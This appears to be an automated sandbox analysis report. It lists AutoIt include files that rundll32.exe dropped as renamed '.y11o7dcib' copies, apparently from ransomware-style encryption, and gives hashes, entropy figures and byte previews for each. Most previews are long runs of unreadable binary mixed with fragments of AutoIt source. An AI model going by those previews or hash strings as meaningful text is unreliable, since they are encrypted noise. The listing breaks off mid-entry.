SHA-512:	AD55E3A8FF56FE0242210C77BA669BAE0CA3F5C5E16DBDE9645DBD40F79DDD97D8C0185F0425601873F9FF9189EDD7432AE77489D953E4B9092BE525EA174BBC
Malicious:	false
Preview:	.*.../.-.R?J4....\|...........`..e....Ur..?t...................6.0jI.F?...f.....k..V..Z.+S.....F... D...I....b.Q...~..g.u>.l.l....(.U..[..P...).S6.....F... D...I....b.Q...~..g.u>.l.l....(.U..[..P...4........U=..3W.......'.....'...P.hBH%F......f.....F..C...%.d0......t..3W...T...,.a.......(.8wT>Gq....y....F......T..b....q(..h......]....q.L..N..g.u>.l.l....(.U..[..P...).S6.....F... D...I....b.Q...~..g.u>.l.l....(.U..[..P...).S6.....F... D...I....b.Q...~...P.B8.rj.....A.K...[..P...).S6.....F... D...I....b.Q...~..g.u>.l.l....(.U..[..P...).S6.....F... D...I....b.Q...~..g.u>0[$[...y.+.....5...[.+X....[...=&...P....?........h!s0]$...y....H...M.....5/...4@.._ ....T....:.....;...<.&`I8F?.....J.b.B...9...G.1I....W3..q.....T...6.....c.....'e.%A4....g....J...g...0.6B....$Q..R>.....V.........&...5.'e[..........3../..."...V.=C....W3..q.....T...(.L.7...4.j^..$[.......U..[..P...).S6...

C:\Program Files (x86)\autoit3\Include\AutoItFatalExitConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6698
Entropy (8bit):	6.767330434560865
Encrypted:	false
SSDEEP:	96:0lSktswQvLX+EC91nwQNwgNXtuk5lbnnHUgunTMqxrKxS:ANswSX301wYNXhx0guTv0xS
MD5:	46ABAD227A5E846FBD88A567660F57E7
SHA1:	7BE81F1BEE2C3391F7034FA8F316C107E22F3327
SHA-256:	A970CF8CF7AB30FF7AD52A4F57E872F9B45637885B860FB4ADC7E477AC1FA9F3
SHA-512:	DD155F20758EA08C4C0DE28C96BCEAECA74BA53E7D39A4CB79A3658DD5982D45420A8CA530FD70F0613C63B493874DAE8232E12053B22AFEF9FAB3334A7F6116
Malicious:	false
Preview:	.X.....j.W.m....s.._............K.Q..{7}.....!=m..aD..Z...==================================================================================..; Title .........: AutoIt3 Fatal Exit Codes........F...k...kh..%.........PN..L..h$n.....{l9ZSQs..#.ription ...: Constants to format @exitCode set by Opt("SetExitCode", 1)..; Author(s) .....: Jpm..; =============================.....2...3....8u..+..........K.Q..{7}.....!=m..aD..Z...==================================....; #CONSTANTS# ============================================================================.....2...3....8u..+..........K.f...f/...sn#].x<.3..ALCODES[81][2] = [ _....[0x7FFFF068, '"EndWith" missing "With".'], _....[0x7FFFF069, 'Badly formatted "Func" statement.'], _..........I..."...l<..6...........M.X.1....J.....+F.o}lO..G...ssing right bracket '')'' in expression.'], _....[0x7FFFF06C, 'Missing operator in expression.'], _....[0x7FFFF06D, 'Unbalanced .C.....\|.Q.....`;.y.............ci0.

C:\Program Files (x86)\autoit3\Include\BorderConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2434
Entropy (8bit):	7.708293733451236
Encrypted:	false
SSDEEP:	48:QJ9gxLdKRYjfB7Z6ayzu3KX++uBpvuCTRxKcKgPlUmKRgS:ygxLdSYrBYaGu3WuBp2Cr9RP8gS
MD5:	8C3E1B92F3AF45841A88A7D965943506
SHA1:	4A33B5378D6DB9BC9B8F16C452823EF90D4C32E3
SHA-256:	F9BE5ADBC2DBA561FC5D65AA196F850112CB4BBE4D2E46164FB49DA157D62D1E
SHA-512:	CA928675D210E17AA4A94DB54148DABF5928390093C222782652C358266A89C2AB2F166ED14BAF7CDEC0B7741833D32C5B81230FB52FD1814210589D851E1CA7
Malicious:	false
Preview:	u.g+\|..R.G}?.G.'xv.fn...uJ....<...y..}.\f..Z.......:i...j...k.4u-......a.w..Op.x.....kW....<...y..}.\f..Z.......:i...j...k.4u-......a.w..Op.O....:....../...j.....?..$..1.D.FtY...."L.."._-b..X..)\|.d..C{.t*...7..J..@!...j..z.$5.....H...Wt7.S..>W..x.'r0..Y.\r2.9.L.?..p...5.M..`e..m.0J.A......1....)z....6J....f;d......a.w..Op.x.....kW....<...y..}.\f..Z.......:i...j...k.4u-......a.w..Op.x.....kW....<...y..}.\f..Z.......:i...j...k.4u-....".V.j.i=...f...vW....<...y..}.\f..Z.......:i...j...k.4u-......a.w..Op.x.....kW....<...y..}.\f..Z.......:i...j...k.4u-......a.G.m.".$K...%.....w^.q.`y../....G..v./.^h6.V..8V..v.K.B..v.{V....o m.e.......]...B..K0....3...,....k.`'i....Z2..9.h$0..Y.\3x...u!...b....8....]3...(J_!.A.........b.mE..j.wz....!lR..h.iZ.....&..i.....9.q..kH.}..0J..4...G..,.Q..B......{....4hR..x..7....y'...i....F....w^.q.`y../....m..-.D..D;.I..s}....[.Y..s..3..>.xZi..u..../.p..`S....ao.. ..........8@8.X..w{..%.)lU..r.{F.....Om.,S.......`..kJ.w.qx.

C:\Program Files (x86)\autoit3\Include\ButtonConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4765
Entropy (8bit):	7.824072612869999
Encrypted:	false
SSDEEP:	96:HQH2p8JAYpRU4EBc+0KK56kOSFt1/YThB5UmUowHVfPqVS:HQXAYpBPJ56yt9q7U5VXqVS
MD5:	9277F5B9A78131CE080DA9D827BF1FB6
SHA1:	C986A31396CA8FEE94034471C4E8AAC31567B67A
SHA-256:	0E91B132095CC8057E26F59E88A4046BCF16C598A068FE4D26126BB6188528B3
SHA-512:	F77EC213F263361A2E5FFF04CB225D867217B09F104BFD3D48FD5AFB694FC7397F8CD7AD88DA013B03448668962879AD1017700231BE02F08CDC1FE4F48A162C
Malicious:	false
Preview:	am....4..'d..U:JN.8...erI.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.{...W.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H...f.I^..A..d....~...T/...T..c.D4..J.....m.'N6$....9..h0.l.qC..L..f.....-..~...,z...V#.dn={...J..MA!q.&'l.X.?..<k....Q/..'.f.RO..C..e...>.P.9....N3.i..(..{..P^;:F.R.$...."..hH...0Y`..b.#.....A.....%...D;....j.d.T+........m. h0,.K..~M.f0...3^+x. .{...W.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.{...W.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.L..J."..........+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.{...W.\..w....m...+g....w.1^.}.......h%Eu:.9._..m^.u7...b.}H.&.{...g.Z..8....Z.U.t;...U$.xC....k..ts.@Xu'r\|.R..]i.B1...+C/.....BK..".9....{.B.....j.tS.p..~..FP98;'i1p.F... ..^..b.p..(.v.m....j...$...E....j..D!b.......Ie(Hy.HC....<C.'d..{u..^.....Z.Q..z...?.X.6....Nj.N0h...p..jtu%Xx.p4.R.....*k...0Y3..?...p.9.#.j....`....P...X+., X.......{a.K0.N.A._..(R.x:..3X"..;.).S^J.#......p...n

C:\Program Files (x86)\autoit3\Include\CUIAutomation2.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	47975
Entropy (8bit):	6.792721594595277
Encrypted:	false
SSDEEP:	768:N5uvpczcKkxRCXxnLxjqJm4o6WeDST/9B2qZ:3uhohzxnLxd4o6Pufx
MD5:	F6A3CDEF14BABE792862879AED18CA5D
SHA1:	2DC0B88E609D45D5EEE90B05940F32256C786EE1
SHA-256:	17A291A8B030E686F0F3B260229EF3298CA3E96E19BCAC4BD5291F6A174F4B5C
SHA-512:	5BC3C09C690A6AC80658CEB132C14CBB65A37B8C29B7C634203736B99EB32C070750000C78562B94C65F69D7414B31F2E5561CA555BE1DC57DBFC260CA542A6B
Malicious:	false
Preview:	.'{.........Zd<.&.e....`...Okl.+d..+T$........K..6.h....e.083-8FB8-45CF-BCB7-C477ACB2F897}"....;CoClasses..Global Const $sCLSID_CUIAutomation = "{FF48DBA4-60EF-4201-AA87-54103EEF594E}"...&\|..G......im!...6`k..{....@WK.....a.6.....r.Z..x.,.M..a..0..Global Const $UIA_SelectionPatternId = 10001..Global Const $UIA_ValuePatternId = 10002..Global Const $UIA_RangeValuePatternId..i)...T.....q(..).1ME.&U....lTI..E..,N.....\..#R#f.z.*....>..t $UIA_ExpandCollapsePatternId = 10005..Global Const $UIA_GridPatternId = 10006..Global Const $UIA_GridItemPatternId = 10007..Gl..(t.........BE&.3.5....q....w]W.=U..~.{O...g..\|.O..U.&......_WindowPatternId = 10009..Global Const $UIA_SelectionItemPatternId = 10010..Global Const $UIA_DockPatternId = 10011..Global Cons..mM.3.....im!...ePA._$...DTJ..].1N8...$..G.L.._.-. ..%.nId = 10013..Global Const $UIA_TextPatternId = 10014..Global Const $UIA_TogglePatternId = 10015..Global Const $UIA_TransformPatt..'Q...G.....Zd<.&.e....`...Bgv..^...

C:\Program Files (x86)\autoit3\Include\Clipboard.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM, 0x8C-variant)
Category:	dropped
Size (bytes):	19232
Entropy (8bit):	6.252814156100269
Encrypted:	false
SSDEEP:	384:K3sW3osBWnLSa04sBgrNFToJaithuYADBh7iWCKp5vazidZ+P:vYtBWnAS3oJ3ABxiWH5vr+P
MD5:	8D61D99F6451FD6DEF70FA034F7D4B01
SHA1:	1E12649499B7DA088604EC13E527CBC7C46F9379
SHA-256:	C6D358B8C7BB12A371596001D18F5BB2AA4033EFDA6C4793C30E24DABA84E423
SHA-512:	C81ABC51D11FD03F5EE3377B17D8612BC5299615C5983678023813C8D80C683CB5B390E497E59BD6ED75C93DF34903961F0DC9670012BBF012E44B85A9A03667
Malicious:	false
Preview:	.._.Mr.L....f%>..>.w..BRoM@.`..50......m....,).u...3.u ..G>.,c===========================================================================================================..; Title .........: ..X.Ch.[..b.#iA.aT.9,.EEc..\|?..iz.XQ....[-..!...H... .f3..?m.}7sh..; Description ...: Functions that assist with Clipboard management...; The clipboard is a set of functions ..U.Lb.Z....#\\.z=.w..[S..,i..&=.....nv@y..5.....E.o.E...Z#.1~ Because all applications have access to the clipboard, data can be easily transferred..; between a..].Bf.@....#GFR.j.m..Y...\|d..+ .....t7m..3..._.W...f3..@#.p+l Campbell (PaulIA)..; =========================================================================================================.....:...U.>..O3 .$G.:<.gY\|&.....()..99]0..{_P.....3.u ..G>.,c===========================================================================================..Global Const $CF_TEXT = 1 ; Text fo..P.,..E....#k[.}i.=9.htC9/.U..g{.RG..t}

C:\Program Files (x86)\autoit3\Include\Color.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10298
Entropy (8bit):	6.237182483071382
Encrypted:	false
SSDEEP:	192:dD0KugJqg9XRlY/0mySVLLnR73RQXJMNuQx+mTOS:dD0KugJqgdRlY/0kLLnR73RKJME3C
MD5:	3195CB1A5A599B2F9E98BE15D850D8E2
SHA1:	033D921C1B2A8899C542F0BFFE04C9837BAF15AD
SHA-256:	6FC85B0FB0490079D080C736D428B12434230F6DABA5F6C7A8764F2AEA9D0179
SHA-512:	526BFDC65C57A281D6C95DB9FFB8077C0EFE38DC14BA40A3758C9A872ABD6D46BF5F77AE317E58195544FCD5209B3C043E226E9DD906092DBC30598C9EDD4B8A
Malicious:	false
Preview:	{..F;..S.....A.g..2.....3.Ue5t..z......?.....5....sf$...1..p2-====================================================================================================================..; Title ..v...y.......u>.`.....3..E.fc(t&...J..I.}...m..t....2"..G.qm50English..; Description ...: Functions that assist with color management...; Author(s) .....: Ultima, Jon, Jpm..; ===============e...j.....Z'q:W..f...G...)-\|&u...D..Z.v...Z.......nxP...T.bp2-================================================....; #CONSTANTS# ==============================================================e...j.....Z'q:W..f...G...)-\|&u...D..Z.v...Z.......nHg.....3mL.nst $__COLORCONSTANTS_HMAX = 360..Global Const $__COLORCONSTANTS_SLMAX = 100..Global Const $__COLORCONSTANTS_RGBMAX = 255..; ===e...j.....Z'q:W..f...G...)-\|&u...D..Z.v...Z.......nxP...T.bp2-============================================================....; #CURRENT# ====================================================e...j.....Z'q:W..f...G...)-\|&u...D..Z.

C:\Program Files (x86)\autoit3\Include\ColorConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	12870
Entropy (8bit):	6.6968601298502435
Encrypted:	false
SSDEEP:	192:bo2rVNIkGKM5IJ7GA8GDnIY1JNeEM8uN6IBYUKmzKqaLY3IXKl9rS:bxKZ5gX8ynJ1JI70rqKqe+Tl9O
MD5:	0BF966E688E05253ECF1C39B929D11B6
SHA1:	2DACCD82024E3289238DA84204766D5A6959D107
SHA-256:	0887631A465A0FB3FA27A66A540A6D2D4F19062FF3AA94233AB939D9D15C953E
SHA-512:	A5AF2DF31C88F8592004A059B8BA3707F38E81E23F098FE0102321195FD4D5D2F641D6813417B3314C74D63768B2B86ECC6AF5E267EA7EE09306EC4F51AEED52
Malicious:	false
Preview:	SQ.M.....0.Z......-..tP..R.!..LK..0/s.....:n..Fm6>C...>:..&G==================================================================================..; Title .........: Constants..; AutoIt Versi.V......n..Y..+..`..Qr.A.2..KV..a{=..9.3.b ... .j..-)..X.nstants to be included in an AutoIt v3 script...; Author(s) .....: JLandes, Nutster, CyberSlug, Holger, Jpm .....; =============M.......b..U...6..3...(...R.!..LK..0/s.....:n..Fm6>C...>:..&G==================================================....; #CONSTANTS# ============================================================M.......b..U...6..3...(...R.!..LK..0/s.....:n..Fm6>C....<..o.ndard W3C colors https://www.w3.org/TR/css-color-3/#svg-color....; Color Constants RGB Hex..Global Const $COLOR_ALICEBLUE = 0xF06..h...=.UH.O.x....\|Z...!.U..4!..H2s.K.R.E...q.gl...@h.oZ$COLOR_AQUA = 0x00FFFF..Global Const $COLOR_AQUAMARINE = 0x7FFFD4..Global Const $COLOR_AZURE = 0xF0FFFF..Global Const $COLOR_BEI7}........}+..g..o..sz...O._..>$...^C.

C:\Program Files (x86)\autoit3\Include\ComboConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8085
Entropy (8bit):	6.7907548559256075
Encrypted:	false
SSDEEP:	192:GIK+fUP5CKHQ5STi0s1HcZ1SkCICWpvvvm1uZS:GIy5vQ5S20s18Z8Tovvv2uE
MD5:	C972757B09998DE8B0F6D8A1A054322D
SHA1:	EBB5143973A0D13F0F4A6B887AEE120D0658C9FD
SHA-256:	308D0BB86CB85EC58E013A7709BD5A28EB1323542FD9218B96373EB62538BCAD
SHA-512:	CAD4772A2F0249B370105E9B78181C94CDC2FED99831F6A685BF74D9DFA49F2C7178BA936EB6C663CE4203B54321F81F2EA27953F9A8EF453B1182FA8E80BA6E
Malicious:	false
Preview:	.7.Kl...Z....E.l...mG/h......G..p.fy9mS...H.(.VI.X.G.8..$Z==================================================================================..; Title .........: ComboBox_Constants..; Aut....V....Z...6\|.U....8f'x....A...c.uj*~T.v....f.f~.E.....l\Ep.n ...: Constants for <a href="../appendix/GUIStyles.htm#Combo">GUI control Combo styles</a> and more...; Author(s) .....: Valik,...Zy...F..-o.[....4V.~.......G..p.fy9mS...H.(.VI.X.G.8..$Z==============================================================================....; #CONSTANTS# ================================.c..=.....W.+r.[....4V.~.......G..p.fy9mS...H.(.VI.X.G.8..$Z===================..; Error checking..Global Const $CB_ERR = -1..Global Const $CB_ERRATTRIBUTE = -3..Global Const $CB_ERRREQUIR.... ....r...w#.%.VP)On......a9..p.vv.Z).\....V....E..8..Nmh9Z 0....; States..Global Const $STATE_SYSTEM_INVISIBLE = 0x8000..Global Const $STATE_SYSTEM_PRESSED = 0x8....; ComboBox Styles..Gl.<.D ..AJ..T..'.jlZ(........XN..v..1p

C:\Program Files (x86)\autoit3\Include\Constants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4547
Entropy (8bit):	7.807284171995969
Encrypted:	false
SSDEEP:	96:arH9eop3aiiKRimwo7DKAGEaZ1+D72E9joJLxMV6wyMv5EXDiOqQtS:arkblAKAG2DyE9cJLyVPGXpqCS
MD5:	BE3DF3F9F87EC7C9F4AED28B8B29B6AC
SHA1:	77DC6BBACA61DF41D2AB733BCDD12F07ACAE63B5
SHA-256:	BD6F70F9A24884D7BE7D681B4500FED5415FC906D418DEF824E69B236BB862F1
SHA-512:	7AD16F07602E52723A0D872E05F4B3E325AF30AB9DBD4FF23BCAC27A0FF561AE8A051446A944FF484389DC3108240C3B35E02BD14DA3AAF7914B1E2FA0F5DEBA
Malicious:	false
Preview:	...".[i.cs..OX......}2....F..@Z%hm.....V..2Ba.....z.....<...8e..2.Oc.=2p..w......r+.....n..@}"_c...G.W..^=qG.}P.p.O...p...>G..2.Ox.l...C;......<......D..\g0Ev.......p^<M.kX.4G?...y....9R..5..l.}>...<.p...>\|.....`(.A`%Jl........Y.;@.rI.qEM...e...+H..o.[>.C....u.Z...=~.N..:V...l.?...T....n.o..#.E)XR..!...w...\|..0.s!,..h....#c.N..:V...l.?...T....n.o..#.E)XR..!...w...\|..0.s!,..X.(...r;.]..)E..=k.A.....L..^=i..kH.].O...o.....j...o..#.C.*.f4.t....>p.]..=K.At=Bq...R.f..0E;^.wS.4KA.._...$R..5..o.nu..F .v....>?.S...h"..eb.q........h..[.vS.<.F..2.....G..$..-.;hb.O'.3...l.....O..Hv#."...d....n.o..#.E)XR..!...w...\|..0.s!,..h....#c.N..:V...l.?...T....n.o..#.E)XR..!...w...\|..0.s!,..h....#c.N..:V...l.?...T....^=i..]s6G1....?.....w...\|..0.s!,..h....#c.N..:V...l.?...T....n.o..#.E)XR..!...w...\|..0.s!,..h....#c.N..:V...l.?...T....n.o#.%.+q.....y.....)I..%..l.+<d.O1.z....{~.....'..K3!Bz.....L..:X<]...X}.O...s....9R..5..l.}... n.@..v1.S...h...r#N".....

C:\Program Files (x86)\autoit3\Include\Crypt.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	27575
Entropy (8bit):	6.58367198129064
Encrypted:	false
SSDEEP:	768:w8Y/wJWazC5/tPOqliL9XP8wM1+ByCGCorll5ondpwdP:7Y+fU5Vu/8jUwdP
MD5:	808C9A3F55F8C6AB920B6655DA4E079F
SHA1:	B2BCF0ACC80753404C22B5A780E0EA225623C1FE
SHA-256:	23A5A4DD4641AC6C51A54B9A7CE5305793DDFD304A33E4C509016F737C68F233
SHA-512:	8AB15F510435C92DE5ADE542BBFA0471BA842F92950DF80D5AA4B5B9DEFCD8890B1E5461C1BF5C86C31223B32EA5F0FFA88F8DDC2D88F0BB5974509FB432D14E
Malicious:	false
Preview:	$....GJ.@4n...........x..s..5..0=,.:...A{. ...V.&((+.I^aU$..5trror.au3"....; #INDEX# =========================================================================================================:..K....Pf=.2x.......<....w.tqi..)...*5.C...v.e.8=...X.p..R..16.1..; Language ......: English..; Description ...: Functions for encrypting and hashing data...; Author(s) .....: Andreas Kark........5o..}..........q..5.)vsq.u.....4.C...O.vvs+..q<.j..A.===========================================================================================================================....;'.#.`k.9x .2H......!.l.d.gbnb.f.....3.?....xy`r.TA..w..A.================================================================..; _Crypt_DecryptData..; _Crypt_DecryptFile..; _Crypt_DeriveKey...V.q\../_..\|.......'.....)...=<."....To....\|.<4)....DE:...]e..; _Crypt_GenRandom..; _Crypt_HashData..; _Crypt_HashFile..; _Crypt_Shutdown..; _Crypt_Startup..; ============================:..K....Pf=.2H......!.l.d.gbnb.f...

C:\Program Files (x86)\autoit3\Include\Date.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	86394
Entropy (8bit):	6.425729971371675
Encrypted:	false
SSDEEP:	1536:fPGxXESMEFms/y0YjPecvQhOlst5JOL+/VD3Ype098r:6RFJ/y0YjG9hVMp598r
MD5:	1365F43590D3031F3C76E3614BBFFC7C
SHA1:	DEE5914460640E866E96583E47E43E28A04394AB
SHA-256:	CEF683B6EDE149B71D7AC40769080766D9C140AE2FD96C6A45D7CFEE3DDC8EE6
SHA-512:	7E58201D7A67E7C9AB42AD530824924105A2E0AD626B91CFC76DF22DFA88DECAB54B9B005F07410A8B38522B7DFF4756AD1631E333C67061ED88873EA97E9411
Malicious:	false
Preview:	-.4/&V.5.7.E.YR .....9X..X......bF.@.e....Z..!..m*. .^..[^.MsY.ory.au3"..#include "Security.au3"..#include "StructureConstants.au3"..#include "WinAPIError.au3"..#include "WinAPIHObj.au3"..#inm./(/....6.v..7Nz..J......wS.+V..Kf..I+D.H....i..]..t.......R...=============================================================================================..; Title .........: Date..; AutoIt./?>9J.>.b...gv.-..i.Xlp...,.l...!...G,Y...E.<..[..,.^..OOB.P....: Functions that assist with Date/Time management...; There are five time formats: System, File, Local, MS-DO]Y;"...9.<.Q.zx.O.....)P...=.m...{J.A.6....[..t..E.i.S.....O... one of these formats. You can also use the time functions to convert between time formats for ease of..; .Yzlj..p.x...txNt.....?S...7.+....O.Vd.B.4.].&..I..g.....qO.\|..jlandes, exodius, PaulIA, Tuape, SlimShady, GaryFrost, /dev/null, Marc..; ======================================================3Dgqw..m.e...ie.&..Y.^q...Gd.6H.2...T+D

C:\Program Files (x86)\autoit3\Include\DateTimeConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7368
Entropy (8bit):	6.77560532363213
Encrypted:	false
SSDEEP:	192:YGSbMbzMkDQuOTsGzPBExb4qZn6pn1DcS:YDbkzMkCdPgb46w1D3
MD5:	025836B4F651AF53FA8C7FAA99A474E1
SHA1:	DA8DBF67DD4EA66EC652C90DBBB56E3A3CA61724
SHA-256:	EFAC26EA98BBF804FF25CAAD615E7CE481EB96FFFA3E15571106CE091C5CAB7F
SHA-512:	5640CF88B98507FE906D38EC26BBDCD209E57F7C28A6DE4FD91C83173840EBCFB244AB3BFFEF8C8B2968F4079B8A92B7305FB056DBE6ECF5CAFD254500B2B17D
Malicious:	false
Preview:	....p._.q\|..p(].[n`.7..$....1.f).NI...]9c.U0.n..s+2..(G.[.l.==================================================================================..; Title .........: DateTime_Constants..; Aut.....`.IFq\|..].~.J{..~..'...Gy.<q..]Z...Z$...a. .8D-/.Gf.....8.n ...: Constants for <a href="../appendix/GUIStyles.htm#Date">GUI control Date styles</a> and much more...; Author(s) .....: Val....d.C.X`.../Z.Fp..N..:....1.f).NI...]9c.U0.n..s+2..(G.[.l.=================================================================================....; #CONSTANTS# =============================....8...#/..@.m.Fp..N..:....1.f).NI...]9c.U0.n..s+2..(G.[.l.======================..; Date..Global Const $DTS_SHORTDATEFORMAT = 0..Global Const $DTS_UPDOWN = 1..Global Const $DTS_SHOWNONE ....B.UM.~...L#.._.}.,..I...tI..F..'T...m....o.?.v!x\|6.1>..9...EFORMAT = 9..Global Const $DTS_RIGHTALIGN = 32..Global Const $DTS_SHORTDATECENTURYFORMAT = 0x0000000C ; The year is a four-digit.....a.0hr}........9..7..X...cM..U..6T..

C:\Program Files (x86)\autoit3\Include\Debug.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29607
Entropy (8bit):	6.607416226417564
Encrypted:	false
SSDEEP:	384:B7/muBTY/WbGmWF6WWKvyP5lH+TfIKcrexp6vx3CTgu1LohSmbaAeOeADN0:hCmNnof50zvJm5+rNR2
MD5:	079ACDC953C6C20CEC132F1902654565
SHA1:	E535CA99D5DBC2CF90E33D7CC97B77DDA5A4DB70
SHA-256:	2B2D45A4D2E61932E7AA32B429C628B2C04B1287C6814735A55EB9BC5FF2B778
SHA-512:	06CF665630630EEED3D169FDC0163E6AE0E5DB90D5C438DD31AA3F8AE37A29D72C0985FC2A6B0F6CE4C7D5A2DD96D4DAE01FDF3B7A7C1A2C2E35079908616F2A
Malicious:	false
Preview:	8....}.?.T.u...\k.\...=.\../.....>.....b...RSnI....1..2.-d."AutoItConstants.au3"..#include "MsgBoxConstants.au3"..#include "SendMessage.au3"..#include "StringConstants.au3"..#include "WinZ....z.(.Z.%...\k......a..ST....jW..C...g...2..........l.e=..==================================================================================..; Title .........: Debug..; AutoIt Version :;..9.t.6u-...?..T...f....@S....;...s.....S^}L..........6c..ons to help script debugging...; Author(s) .....: Nutster, Jpm, Valik, guinness, water..; ======================================&....5.g..B+...l\....u....ST....jW..C...g...2..........l.e=..=========================....; #CONSTANTS# =====================================================================================&....5.g..B+...l\....u....ST....;.....h.4.T.+z....T..8.<o..ext_Debug = "Debug Window hidden text"..Global Const $__g_sReportCallBack_DebugReport_Debug = _DebugReport..; ==================&....5.g..B+...l\....u....ST....jW..C..

C:\Program Files (x86)\autoit3\Include\DirConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	7.3760259179006935
Encrypted:	false
SSDEEP:	24:hxISt25ISt2Bj3VwEUdQt25ISt25ITISt25IZlS7BdocD3Kg7ZeB25ISt25IVDOl:/Ii2IiEVbUy2Ii2ITIi2IZlW11162Iie
MD5:	78EC672DEBB6962A45F5E545CC4D833B
SHA1:	3D5278316F155B86599B91C832CA67DCAE786E98
SHA-256:	1761A4E1F6B82EB35D465996F4162C7F02CE605745559FCBBB3F00F851108CF3
SHA-512:	BC969AB4BBD9902F23DEB9DC8917125AB30CC64B76576610F8E8B784B4F9403BDF13E1E21F7BDC30FA502A36909AAF240337CD65728BB5695F1BD4A80F538741
Malicious:	false
Preview:	.5L..8.....g.M..+.g.....H$.HDV.....o...[."A../D.Rp.6-0. .......a..p....?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .......a..p....?.z..-(N....=.a.[WE.....\|.....@?.Ua.r.9...6.\.N.......Q..#....,.q.../.......eW.YE.....h.p...v..6.B3+(.hbd.i.U.....\|a..>.....v.g..0L...,.$Y.Y.....=.A...?..I{.gO:.n~-.n.T....:W..9......g..dM+...iE.[WQ.j..9.....f\.I}.gCm.%>..&.......a..p....?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .......a..p....?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .0.......l........?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .......a..p....?.z..-.y....tV9.HDV.....o...[."A../D.Rp.6-0. .......0M..!....."....Od......K9.E.[.....`.8.!.p..W2:\|.>.+4I.Q.~.......{.m......2.v...b(...i(k^..K.x....\|.#.?A..jI#_}.; =...V.....3L..m....Z....Ys....1[4.EA[.....>.W...\..HfY7+..TXD.Y.t.....l..}....m.&.SJ..../Ho'<.s..r...../L.."I"bG.g.o.q.y.......f.........V.g.. ]t...y[4=.>..^.....[...;8.wM*J<..F00.-.......h/.m....?.z..-.y....tV9.HDV.....o...

C:\Program Files (x86)\autoit3\Include\EditConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5148
Entropy (8bit):	7.883703916172598
Encrypted:	false
SSDEEP:	96:ckAkme+jkAknAk7vggFOOQ/2QPEaWELfEBztT2EFts9M9lJNtY8zqJ8pbQQp/YAa:cX4OXLWEZ2QPjWELfuhSEO2XfYYnpbQj
MD5:	BEE1DB46FE9D8FAB77BD48A328FE72C7
SHA1:	5DB7696B0F6D8F179F2EE1B60D993E33A4F0EC11
SHA-256:	B504B3028DC2586E0E8105C5DB9A85E8BD74E501A5C8736FBBBED2B44ABCCEC7
SHA-512:	B2B9597C20CC01C48D401A488ADB02D93C3A98F00A8D87642E016F7A7A6182AA6EF2122959D3EB78AA3D237726671F6E1B6FE664CF83DC86967D67E05166BA26
Malicious:	false
Preview:	9}P\..q.... ..p.^u...6.....3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is....O.n...3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is. ..&.'... .B...f-.."g..`...a.....s....9...LqLL..{..aCm.K?z.. ..>.=..i..B...f-.."m..V.........!....8..4.....}..'Ma.Uh$>.D......z.....O<n...j......2.......h....y..Ao`.L..y..}_"..g0n._.R.<...m....BI<p..m8N.J..`..GI..f.U.7..Z64y^..5....7.T'zC....O.n...3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is....O.n...3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is......h...A..8.ms. ..Z>S..../..ST...u.H.k..')....(.\|M~.G4is....O.n...3..Q...u>..Z>S..../..ST...u.H.k..')....(.\|M~.G4is....O.n........FTE....a......a..J,......U.v.;]xQ]..5../.7.?Z...d. .n........BKh@...wN.z..[.:I..E....4...Y{PL..1...=...3E......F.Y..l..L.LI;w.."P1.o..Q.+I..E....4...Y{PL..1...<...(J......C.^..a....`H&p..CF=.o...E.I..z.2.9..]:WQQ..5.../...5_...e..R.s........BKh@...wN.z..G.&:......H.g.<.SRP..y....0..^L...e.6.....3.Y..-.o...

C:\Program Files (x86)\autoit3\Include\EventLog.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	31421
Entropy (8bit):	6.517495789864597
Encrypted:	false
SSDEEP:	768:GlLnIVFMzJLNS++FZMbIZ7qLGRMsoHa/QsJCRefBUwILAqtWTedNh0rUgzfyN6+6:GZnIVFMdNS+YMkZFRMsoHuJC+BqtWTMC
